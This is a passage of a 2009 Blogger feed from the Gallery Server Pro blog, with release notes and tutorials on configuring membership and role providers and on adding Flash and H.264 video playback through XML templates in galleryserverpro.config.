href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6738992370989211859'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6738992370989211859'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2009/09/temporary-diversion.html' title='A temporary diversion'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-6572744150629552445</id><published>2009-08-13T22:46:00.000-05:00</published><updated>2009-08-13T22:47:22.862-05:00</updated><title type='text'>New Release Adds Support For Flash Video, H.264 and more</title><content type='html'>&lt;p&gt;Today I posted the latest version of Gallery Server Pro. I added support for a few more media types, included a few new features, and fixed several bugs. &lt;a title="Download Gallery Server Pro" href="http://www.galleryserverpro.com/download.aspx"&gt;Get it here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;font color="#804040"&gt;Flash video and H.264&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;I blogged earlier about how to tweak your gallery to add support for &lt;a title="Play Flash video in your gallery" href="http://www.galleryserverpro.com/blog.aspx?title=Play-Flash-video-in-your-gallery&amp;amp;id=4010636131600222431"&gt;Flash video&lt;/a&gt; and &lt;a title="Play H.264 video and audio with Silverlight" href="http://www.galleryserverpro.com/blog.aspx?title=Play-H.264-video-and-audio-with-Silverlight&amp;amp;id=2587192194580677967"&gt;H.264 audio and video&lt;/a&gt;. Now it is included in the default installation. Note that you still have to enable the appropriate file extensions on the Media Object Types page in the Site admin area before you can add these media types. There are examples of videos in these formats in the &lt;a title="Samples videos" href="http://www.galleryserverpro.com/demo.aspx?aid=141"&gt;video gallery&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;font color="#804040"&gt;Hidden directories ignored during synchronization&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Starting with this version, any folders within the media objects directory will be ignored if it is marked as hidden. Use Windows Explorer to hide a directory, as seen here:&lt;/p&gt;&lt;p&gt;&lt;a href="http://lh6.ggpht.com/_qh4427KVFsk/SoJD-JsDknI/AAAAAAAAAK0/rzjG1XW3OHI/s1600-h/hiddendirectory%5B3%5D.png"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="hiddendirectory" src="http://lh6.ggpht.com/_qh4427KVFsk/SoJD-oUhAKI/AAAAAAAAAK4/HdL3Xp3uCek/hiddendirectory_thumb%5B1%5D.png?imgmax=800" width="381" height="489" /&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;When a directory is hidden, it is ignored by GSP during the synchronization process.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;font color="#804040"&gt;Allow a membership or role provider to be specified by name&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Prior to this release, GSP always assumed the default membership provider was the correct one. That is, GSP required the defaultProvider attribute for the membership, roles, and profile definitions in web.config to point to the the entry used by GSP. For example, by default GSP specifies the SQLiteMembershipProvider for membership in web.config:&lt;/p&gt;&lt;pre&gt;&lt;font color="#800000"&gt;&amp;lt;membership defaultProvider=&amp;quot;SQLiteMembershipProvider&amp;quot;&amp;gt;...&amp;lt;/membership&amp;gt;&lt;/font&gt;&lt;/pre&gt;&lt;p&gt;However, if you are integrating GSP into another application, this might create difficulty since your existing application may already have a default provider, and in some cases you want GSP to use a different one. Now you can go ahead and create the second provider definition in web.config.&lt;/p&gt;&lt;pre&gt;&lt;font color="#800000"&gt;&amp;lt;membership defaultProvider=&amp;quot;YourMembershipProvider&amp;quot;&amp;gt; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;providers&amp;gt; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;lt;clear /&amp;gt; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;lt;add name=&amp;quot;YourMembershipProvider&amp;quot; applicationName=&amp;quot;Your application&amp;quot; ...additional stuff here... /&amp;gt; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;lt;add name=&amp;quot;SQLiteMembershipProvider&amp;quot; applicationName=&amp;quot;Gallery Server Pro&amp;quot; ...additional stuff here... /&amp;gt;   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;/providers&amp;gt; &lt;br /&gt;&amp;lt;/membership&amp;gt;&lt;/font&gt;&lt;/pre&gt;&lt;p&gt;Then, in galleryserverpro.config, you tell GSP the name of the membership provider in the new membershipProviderName attribute:&lt;/p&gt;&lt;pre&gt;&lt;font color="#800000"&gt;&amp;lt;galleryServerPro&amp;gt;&lt;br /&gt;&amp;#160; &amp;lt;core ... membershipProviderName=&amp;quot;SQLiteMembershipProvider&amp;quot; ... /&amp;gt;&lt;br /&gt;&amp;#160; ...&lt;br /&gt;&amp;lt;/galleryServerPro&amp;gt;&lt;/font&gt;&lt;/pre&gt;&lt;p&gt;After this change, GSP will use SQLiteMembershipProvider for membership and your existing application is unaffected. You can do the same thing with roles using the roleProviderName attribute in galleryserverpro.config.&lt;/p&gt;&lt;p&gt;I could not figure out a way to programmatically access a non-default profile instance, so profile behavior is unchanged.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Perhaps the best use for this feature is to keep the roles used by GSP separate from the ones used in your application.&lt;/strong&gt; You already know that you can create roles in the Site admin area to manage the security access your users have to albums. In addition, the user album and owner features automatically create roles behind the scenes. When you have a large number of users and especially when you have the user albums feature enabled, you can end up with a lot of roles. Normally, this isn't a problem - in fact, that is exactly why roles exist. However, if you are integrating GSP into an existing application, you may not want all the extra roles interfering with your &amp;quot;regular&amp;quot; roles.&lt;/p&gt;&lt;p&gt;The solution is to configure GSP to separate the roles into their own application space. A little primer: The ASP.NET membership system can use a single data store for one or more applications. An application is uniquely defined by the applicationName attribute in the membership, roles, and provider definitions in web.config. In the &amp;lt;membership&amp;gt; example above, there are two applications defined: &amp;quot;your application&amp;quot; and &amp;quot;Gallery Server Pro&amp;quot;. If you peek in the aspnet_Applications table in your database, you will see one record for each. If you add a third provider with a new app name, ASP.NET will insert a third record into that table.&lt;/p&gt;&lt;p&gt;OK, hopefully that is enough background. Here is how to configure GSP to use the same membership (that is, list of users) but isolate the roles into its own application space. First, in web.config add a definition for the role provider to be used by GSP:&lt;/p&gt;&lt;pre&gt;&lt;font color="#800000"&gt;&amp;lt;roleManager defaultProvider=&amp;quot;YafSqlRoleProvider&amp;quot; ...&amp;gt;&lt;br /&gt; &amp;lt;providers&amp;gt;&lt;br /&gt;&amp;#160; &amp;lt;clear /&amp;gt;&lt;br /&gt;&amp;#160; &amp;lt;add applicationName=&amp;quot;YAF&amp;quot; name=&amp;quot;YafSqlRoleProvider&amp;quot; ... /&amp;gt;&lt;br /&gt;&amp;#160; &amp;lt;add applicationName=&amp;quot;Gallery Server Pro&amp;quot; name=&amp;quot;GspSqlRoleProvider&amp;quot; ... /&amp;gt;&lt;br /&gt; &amp;lt;/providers&amp;gt;&lt;br /&gt;&amp;lt;/roleManager&amp;gt;&lt;/font&gt;&lt;/pre&gt;&lt;p&gt;In this example, GSP is not the default role provider, so we must tell GSP which one to use. We do this in galleryserverpro.config:&lt;/p&gt;&lt;pre&gt;&lt;font color="#800000"&gt;&amp;lt;galleryServerPro&amp;gt;&lt;br /&gt;&amp;#160; &amp;lt;core ... roleProviderName=&amp;quot;GspSqlRoleProvider&amp;quot; ... /&amp;gt; &lt;br /&gt;&amp;#160; ... &lt;br /&gt;&amp;lt;/galleryServerPro&amp;gt;&lt;/font&gt;&lt;/pre&gt;&lt;p&gt;SQLite users: If you use SQLite as your data store, there is one more step. Add the attribute membershipApplicationName to the role provider definition to tell the role provider the name of the membership provider that stores the list of users. So instead of the example above, it will look like this (replace &amp;quot;SQLiteMembershipProvider&amp;quot; with the correct name):&lt;/p&gt;&lt;pre&gt;&lt;font color="#800000"&gt;&amp;lt;roleManager defaultProvider=&amp;quot;YafSqlRoleProvider&amp;quot; ...&amp;gt; &lt;br /&gt;&amp;lt;providers&amp;gt; &lt;br /&gt;&amp;#160; &amp;lt;clear /&amp;gt; &lt;br /&gt;&amp;#160; &amp;lt;add applicationName=&amp;quot;YAF&amp;quot; name=&amp;quot;YafSqlRoleProvider&amp;quot; ... /&amp;gt; &lt;br /&gt;&amp;#160; &amp;lt;add applicationName=&amp;quot;Gallery Server Pro&amp;quot; membershipApplicationName=&amp;quot;SQLiteMembershipProvider&amp;quot; name=&amp;quot;GspSqlRoleProvider&amp;quot; ... /&amp;gt; &lt;br /&gt;&amp;lt;/providers&amp;gt; &lt;br /&gt;&amp;lt;/roleManager&amp;gt;&lt;/font&gt;&lt;/pre&gt;&lt;p&gt;That is it. The roles needed by GSP are associated with GSP and the roles needed by the other application (in this case &amp;quot;YAF&amp;quot;) are associated with it, and never the twain shall meet, even though they share the same list of users. As I said, I think this will be most useful when you do not want the roles used by GSP to clutter up the rest of your web application. Note that you may need to re-run the install wizard after making this change so that the admin account is correctly associated with the automatically created System Administrator role.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;font color="#804040"&gt;Bug fixes&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;There were a few bug fixes as well. You can view a detailed report of them on the &lt;a href="http://www.galleryserverpro.com/releasehistory.aspx"&gt;Release History page&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;font color="#804040"&gt;Install and upgrade info&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;I have not yet updated the Admin Guide for this version, but the install and upgrade procedure is identical to previous versions, except for one small detail when upgrading. Before you upgrade, open gs\config\galleryserverpro.config and add the .m4a and .mp4 file extensions to the silverlightFileTypes configuration setting. That is, it should be ".mp3,.wma,.wmv,.asf,.asx,.mp4,.m4a". Then upgrade as normal. Later you will rename this file to galleryserverpro_old.config and run the Upgrade Wizard (see the Admin Guide for details). If you didn't make this change, the wizard would import the original value for this setting and you would find that Silverlight may not play your .m4a and mp4 files.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-6572744150629552445?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/6572744150629552445/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=6572744150629552445' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6572744150629552445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/6572744150629552445'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2009/08/new-release-adds-support-for-flash.html' title='New Release Adds Support For Flash Video, H.264 and more'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_qh4427KVFsk/SoJD-oUhAKI/AAAAAAAAAK4/HdL3Xp3uCek/s72-c/hiddendirectory_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-2587192194580677967</id><published>2009-07-20T14:37:00.001-05:00</published><updated>2009-07-20T14:37:27.713-05:00</updated><title type='text'>Play H.264 video and audio with Silverlight</title><content type='html'>&lt;p&gt;Now that Silverlight 3 is out, with its new support for H.264 audio and video, several of you have been wondering how to play these files in Gallery Server Pro. I took a few minutes to look into this today, and it turned out to be really easy. Adding support is as simple as making a few edits to galleryserverpro.config. Here is what a H.264 video - with a file extension of .mp4 - looks like when played in Silverlight within Gallery Server Pro (&lt;a title="H.264 video playing in Silverlight 3" href="http://www.galleryserverpro.com/demo.aspx?moid=8837"&gt;live demo&lt;/a&gt;):&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_qh4427KVFsk/SmTHdRkHnoI/AAAAAAAAAJ8/69R5Hkjkgtk/s1600-h/H264_video_514x507%5B3%5D.jpg"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="H264_video_514x507" src="http://lh3.ggpht.com/_qh4427KVFsk/SmTHdtHkhQI/AAAAAAAAAKA/iBWDFRjlS8Q/H264_video_514x507_thumb%5B1%5D.jpg?imgmax=800" width="518" height="511" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;This works even if you are still using .NET 2.0 on the web server. The next release of Gallery Server Pro will include support for this, but until then you can follow these directions to get it working in 2.3:&lt;/p&gt;  &lt;p&gt;Note that I assume your H.264 files use the .mp4 and .m4a file extensions. They will need some adjustment if you use other extensions.&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Open \gs\config\galleryserverpro.config in a text editor such as Notepad. &lt;/li&gt;    &lt;li&gt;In the &amp;lt;mimeTypes&amp;gt; section, add an entry for the .m4a file type: &lt;strong&gt;&lt;font color="#800000"&gt;&amp;lt;mimeType fileExtension=&amp;quot;.m4a&amp;quot; browserId=&amp;quot;default&amp;quot; type=&amp;quot;audio/m4a&amp;quot; allowAddToGallery=&amp;quot;true&amp;quot; /&amp;gt;&lt;/font&gt;&lt;/strong&gt; (There is already an entry for .mp4.) &lt;/li&gt;    &lt;li&gt;Add .m4a and .mp4 to the silverlightFileTypes setting near the beginning of the file so that it looks like this: &lt;strong&gt;&lt;font color="#800000"&gt;silverlightFileTypes=&amp;quot;.mp3,.wma,.wmv,.asf,.asx,.mp4,.m4a&amp;quot;&lt;/font&gt;&lt;/strong&gt; &lt;/li&gt;    &lt;li&gt;Add HTML templates for the .m4a and .mp4 file types in the &amp;lt;mediaObjects&amp;gt; section: &lt;/li&gt; &lt;/ol&gt;  &lt;pre&gt;&lt;font color="#800000"&gt;&amp;lt;mediaObject mimeType=&amp;quot;audio/m4a&amp;quot;&amp;gt;&lt;br /&gt; &amp;lt;browsers&amp;gt;&lt;br /&gt;  &amp;lt;browser id=&amp;quot;default&amp;quot; htmlOutput=&amp;quot;&amp;amp;lt;div id='mp1p'&amp;amp;gt;&amp;amp;lt;/div&amp;amp;gt;&amp;quot;&lt;br /&gt;    scriptOutput=&amp;quot;Sys.UI.Silverlight.Control.createObject('mp1p', '&amp;amp;lt;object type=&amp;amp;quot;application/x-silverlight&amp;amp;quot; id=&amp;amp;quot;mp1&amp;amp;quot; style=&amp;amp;quot;height:{Height}px;width:{Width}px;&amp;amp;quot;&amp;amp;gt;&amp;amp;lt;param name=&amp;amp;quot;minRuntimeVersion&amp;amp;quot; value=&amp;amp;quot;3.0.40624.0&amp;amp;quot; /&amp;amp;gt;&amp;amp;lt;param name=&amp;amp;quot;Windowless&amp;amp;quot; value=&amp;amp;quot;True&amp;amp;quot; /&amp;amp;gt;&amp;amp;lt;a href=&amp;amp;quot;&lt;a href="http://go2.microsoft.com/fwlink/?LinkID=114576&amp;amp;amp;v=1.0&amp;amp;quot;&amp;amp;gt;&amp;amp;lt;img"&gt;http://go2.microsoft.com/fwlink/?LinkID=114576&amp;amp;amp;v=1.0&amp;amp;quot;&amp;amp;gt;&amp;amp;lt;img&lt;/a&gt; src=&amp;amp;quot;&lt;a href="http://go2.microsoft.com/fwlink/?LinkID=108181&amp;amp;quot;"&gt;http://go2.microsoft.com/fwlink/?LinkID=108181&amp;amp;quot;&lt;/a&gt; alt=&amp;amp;quot;Get Microsoft Silverlight&amp;amp;quot; style=&amp;amp;quot;border-width:0;&amp;amp;quot; /&amp;amp;gt;&amp;amp;lt;/a&amp;amp;gt;&amp;amp;lt;/object&amp;amp;gt;'); Sys.Application.add_init(function() { $create(Sys.UI.Silverlight.MediaPlayer, { &amp;amp;quot;mediaSource&amp;amp;quot;: &amp;amp;quot;{MediaObjectUrl}&amp;amp;quot;, &amp;amp;quot;scaleMode&amp;amp;quot;: 1, &amp;amp;quot;source&amp;amp;quot;: &amp;amp;quot;{GalleryPath}/skins/mediaplayer/AudioGray.xaml&amp;amp;quot;,&amp;amp;quot;autoPlay&amp;amp;quot;:{AutoStartMediaObjectText} }, null, null, $get(&amp;amp;quot;mp1p&amp;amp;quot;)); }); Sys.Application.initialize();Array.add(_mediaObjectsToDispose, &amp;amp;quot;mp1&amp;amp;quot;);&lt;/font&gt;&lt;font color="#800000"&gt;&amp;quot; /&amp;gt;&lt;br /&gt;  &amp;lt;/browsers&amp;gt;&lt;br /&gt;&amp;lt;/mediaObject&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/font&gt;&lt;p&gt;&lt;font color="#800000"&gt;&amp;lt;mediaObject mimeType=&amp;quot;video/mp4&amp;quot;&amp;gt;&lt;br /&gt; &amp;lt;browsers&amp;gt;&lt;br /&gt;  &amp;lt;browser id=&amp;quot;default&amp;quot; htmlOutput=&amp;quot;&amp;amp;lt;div id='mp1p'&amp;amp;gt;&amp;amp;lt;/div&amp;amp;gt;&amp;quot;&lt;br /&gt;    scriptOutput=&amp;quot;Sys.UI.Silverlight.Control.createObject('mp1p', '&amp;amp;lt;object type=&amp;amp;quot;application/x-silverlight&amp;amp;quot; id=&amp;amp;quot;mp1&amp;amp;quot; style=&amp;amp;quot;height:{Height}px;width:{Width}px;&amp;amp;quot;&amp;amp;gt;&amp;amp;lt;param name=&amp;amp;quot;minRuntimeVersion&amp;amp;quot; value=&amp;amp;quot;3.0.40624.0&amp;amp;quot; /&amp;amp;gt;&amp;amp;lt;param name=&amp;amp;quot;Windowless&amp;amp;quot; value=&amp;amp;quot;True&amp;amp;quot; /&amp;amp;gt;&amp;amp;lt;a href=&amp;amp;quot;&lt;/font&gt;&lt;a href="http://go2.microsoft.com/fwlink/?LinkID=114576&amp;amp;v=1.0&amp;quot;&amp;gt;&amp;lt;img"&gt;&lt;font color="#800000"&gt;http://go2.microsoft.com/fwlink/?LinkID=114576&amp;amp;amp;v=1.0&amp;amp;quot;&amp;amp;gt;&amp;amp;lt;img&lt;/font&gt;&lt;/a&gt;&lt;font color="#800000"&gt; src=&amp;amp;quot;&lt;/font&gt;&lt;a href="http://go2.microsoft.com/fwlink/?LinkID=108181&amp;quot;"&gt;&lt;font color="#800000"&gt;http://go2.microsoft.com/fwlink/?LinkID=108181&amp;amp;quot;&lt;/font&gt;&lt;/a&gt;&lt;font color="#800000"&gt; alt=&amp;amp;quot;Get Microsoft Silverlight&amp;amp;quot; style=&amp;amp;quot;border-width:0;&amp;amp;quot; /&amp;amp;gt;&amp;amp;lt;/a&amp;amp;gt;&amp;amp;lt;/object&amp;amp;gt;'); Sys.Application.add_init(function() { $create(Sys.UI.Silverlight.MediaPlayer, { &amp;amp;quot;mediaSource&amp;amp;quot;: &amp;amp;quot;{MediaObjectUrl}&amp;amp;quot;, &amp;amp;quot;scaleMode&amp;amp;quot;: 1, &amp;amp;quot;source&amp;amp;quot;: &amp;amp;quot;{GalleryPath}/skins/mediaplayer/Professional.xaml&amp;amp;quot;,&amp;amp;quot;autoPlay&amp;amp;quot;:{AutoStartMediaObjectText} }, null, null, $get(&amp;amp;quot;mp1p&amp;amp;quot;)); }); Sys.Application.initialize();Array.add(_mediaObjectsToDispose, &amp;amp;quot;mp1&amp;amp;quot;);&amp;quot; /&amp;gt;&lt;br /&gt;  &amp;lt;/browsers&amp;gt;&lt;br /&gt;&amp;lt;/mediaObject&amp;gt;&lt;/font&gt;&lt;/p&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Savvy observers will notice these templates are exactly the same as the Silverlight templates used for .wma and .wmv files with one exception: They add a line specifying the minimum required version is 3.0.40624.0. The Silverlight javascript uses this to make sure the user has the latest version before attempting to play the file. The other Silverlight-related media files (.wma, .wmv, .mp3, etc) will play in any release of Silverlight dating back to 1.0.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-2587192194580677967?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/2587192194580677967/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=2587192194580677967' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/2587192194580677967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/2587192194580677967'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2009/07/play-h264-video-and-audio-with.html' title='Play H.264 video and audio with Silverlight'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_qh4427KVFsk/SmTHdtHkhQI/AAAAAAAAAKA/iBWDFRjlS8Q/s72-c/H264_video_514x507_thumb%5B1%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-4010636131600222431</id><published>2009-07-03T17:06:00.001-05:00</published><updated>2009-07-06T15:09:24.099-05:00</updated><title type='text'>Play Flash video in your gallery</title><content type='html'>&lt;p&gt;There was &lt;a href="http://www.galleryserverpro.com/forum/yaf_postst766_Cannot-view-FLV-files.aspx"&gt;recent activity&lt;/a&gt; in the forum with a user trying to play Flash video (.flv) in Gallery Server. He ended up getting it working by creating an HTML template in the configuration file galleryserverpro.config. His success sparked my interest and I checked into it further to see if this was something I can incorporate in the next full release.&lt;/p&gt;  &lt;p&gt;He had used the JW FLV Media Player from &lt;a href="http://www.longtailvideo.com"&gt;longtail video&lt;/a&gt;, so I started there. After spending some time learning about the different features and playing with a few different configurations, I finally had something that worked great. I was just about to check in the code when it occurred to me that I should check the license. I should have done that in the first place, because there was trouble. It uses the &lt;a href="http://creativecommons.org/licenses/by-nc-sa/3.0/"&gt;Creative Commons Attribution-Noncommercial-Share Alike 3.0 Unported&lt;/a&gt; license. It allows free use and distribution when used non-commercially, which would be fine for many of you, but not everyone.&lt;/p&gt;  &lt;p&gt;So I started looking around. It didn't take long until I came across &lt;a href="http://flowplayer.org"&gt;flowplayer&lt;/a&gt;. It is a good-looking player and easy to configure. The best part is that it is released under the GPL, the same license as Gallery Server. I am not a lawyer, and please correct me if I am wrong, but I think that means I can include it with Gallery Server and not have to worry about the legal details.&lt;/p&gt;  &lt;p&gt;Here you can see a Flash video playing in Google Chrome (&lt;a title="View Flash video playing in Gallery Server Pro" href="http://www.galleryserverpro.com/demo.aspx?moid=8784"&gt;see it for yourself&lt;/a&gt;):&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_qh4427KVFsk/Sk6A9kFqEDI/AAAAAAAAAJ0/wyWzWCtnm7w/s1600-h/FLV_video_sample_510x523%5B3%5D.jpg"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="Screenshot of Flash video playing in Gallery Server Pro using the flowplayer" src="http://lh3.ggpht.com/_qh4427KVFsk/Sk6A94AploI/AAAAAAAAAJ4/mH_2KND1aG8/FLV_video_sample_510x523_thumb%5B1%5D.jpg?imgmax=800" width="514" height="527" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;The next release of GSP will include this feature, but you don't have to wait. The beauty of GSP's innovative templating engine is that you can customize the HTML that is rendered for media objects by editing galleryserverpro.config. No changes to the source code are necessary, nor do you have to recompile.&lt;/p&gt;  &lt;p&gt;To add support for Flash video in your gallery, follow these steps:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Download &lt;a href="http://flowplayer.org"&gt;flowplayer&lt;/a&gt;. Copy the following three files to the \gs\script\ directory in your gallery web application: flowplayer-3.1.1.min.js, flowplayer-3.1.1.swf, flowplayer.controls-3.1.1.swf &lt;/li&gt;    &lt;li&gt;Open \gs\config\galleryserverpro.config in a text editor. In the &amp;lt;mimeTypes&amp;gt; section, add an entry for the .flv file type: &amp;lt;mimeType fileExtension=&amp;quot;.flv&amp;quot; browserId=&amp;quot;default&amp;quot; type=&amp;quot;video/x-flv&amp;quot; allowAddToGallery=&amp;quot;true&amp;quot; /&amp;gt; &lt;/li&gt;    &lt;li&gt;In the &amp;lt;mediaobjects&amp;gt; section earlier in galleryserverpro.config, add a template to define the HTML that is rendered for .flv files: &lt;/li&gt; &lt;/ol&gt;  &lt;pre&gt;&amp;lt;mediaObject mimeType=&amp;quot;video/x-flv&amp;quot;&amp;gt;&lt;br /&gt; &amp;lt;browsers&amp;gt;&lt;br /&gt;  &amp;lt;browser id=&amp;quot;default&amp;quot;&lt;br /&gt; htmlOutput=&amp;quot;&amp;amp;lt;script type=&amp;amp;quot;text/javascript&amp;amp;quot; src=&amp;amp;quot;{GalleryPath}/script/flowplayer-3.1.1.min.js&amp;amp;quot;&amp;amp;gt;&amp;amp;lt;/script&amp;amp;gt;&amp;amp;lt;a href=&amp;amp;quot;{MediaObjectUrl}&amp;amp;quot; style=&amp;amp;quot;display:block;width:{Width}px;height:{Height}px&amp;amp;quot; id=&amp;amp;quot;player&amp;amp;quot;&amp;amp;gt;&amp;amp;lt;/a&amp;amp;gt;&amp;quot;&lt;br /&gt; scriptOutput=&amp;quot;flowplayer(&amp;amp;quot;player&amp;amp;quot;, { src: &amp;amp;quot;{GalleryPath}/script/flowplayer-3.1.1.swf&amp;amp;quot;, wmode: &amp;amp;quot;opaque&amp;amp;quot; }, { clip:&amp;#160; { autoPlay: {AutoStartMediaObjectText}, scaling: &amp;amp;quot;fit&amp;amp;quot; } });&amp;quot; /&amp;gt;&lt;br /&gt; &amp;lt;/browsers&amp;gt;&lt;br /&gt;&amp;lt;/mediaObject&amp;gt;&lt;/pre&gt;&lt;p&gt;That is it! Add a .flv file to your gallery and it should play in any browser that has Flash installed. The video will start automatically if you have the autostart option enabled on the Video tab in the Site admin area. The width and height are defined on that page, too, so if you want it bigger or smaller, change it there (and then re-synchronize to update the existing media objects).&lt;/p&gt;&lt;p&gt;Note: If you have trouble, make sure IIS is configured to serve .flv file types (MIME type: video/x-flv).&lt;/p&gt;&lt;p&gt;If you want to better understand the template - maybe you want to tweak it to suit your preferences - it is helpful to copy the contents of the htmlOutput and scriptOutput attributes to a text editor and un-escape it. That is, replace &amp;amp;lt; with &amp;lt;, &amp;amp;gt; with &amp;gt;, and &amp;amp;quot; with &amp;quot;. It will be a lot easier to understand. Make your changes, then re-escape it when you copy it back to galleryserverpro.config. There is more info about the templating engine in the Admin Guide.&lt;/p&gt;&lt;p&gt;I updated the &lt;a title="Gallery Server Pro demo site" href="http://www.galleryserverpro.com/demo.aspx"&gt;demo site&lt;/a&gt; to include a &lt;a title="Sample Flash video" href="http://www.galleryserverpro.com/demo.aspx?moid=8784"&gt;Flash video&lt;/a&gt;, so feel free to check it out.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-4010636131600222431?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/4010636131600222431/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=4010636131600222431' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/4010636131600222431'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/4010636131600222431'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2009/07/play-flash-video-in-your-gallery.html' title='Play Flash video in your gallery'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_qh4427KVFsk/Sk6A94AploI/AAAAAAAAAJ4/mH_2KND1aG8/s72-c/FLV_video_sample_510x523_thumb%5B1%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-9028454887673456593</id><published>2009-06-23T14:07:00.001-05:00</published><updated>2009-06-23T14:07:21.386-05:00</updated><title type='text'>Script error fixed in 2.3.3456</title><content type='html'>&lt;p&gt;There is a bug that appeared in Gallery Server Pro 2.3.3456 released last week. I just fixed it and updated the download packages to include it. I didn't rev the version number because that takes a few hours and this didn't seem important enough to justify the effort.&lt;/p&gt;  &lt;p&gt;This affects those of you who disable the image metadata feature, as seen here on the Media Objects - General page in the Site admin area:&lt;/p&gt;  &lt;p&gt;&lt;a 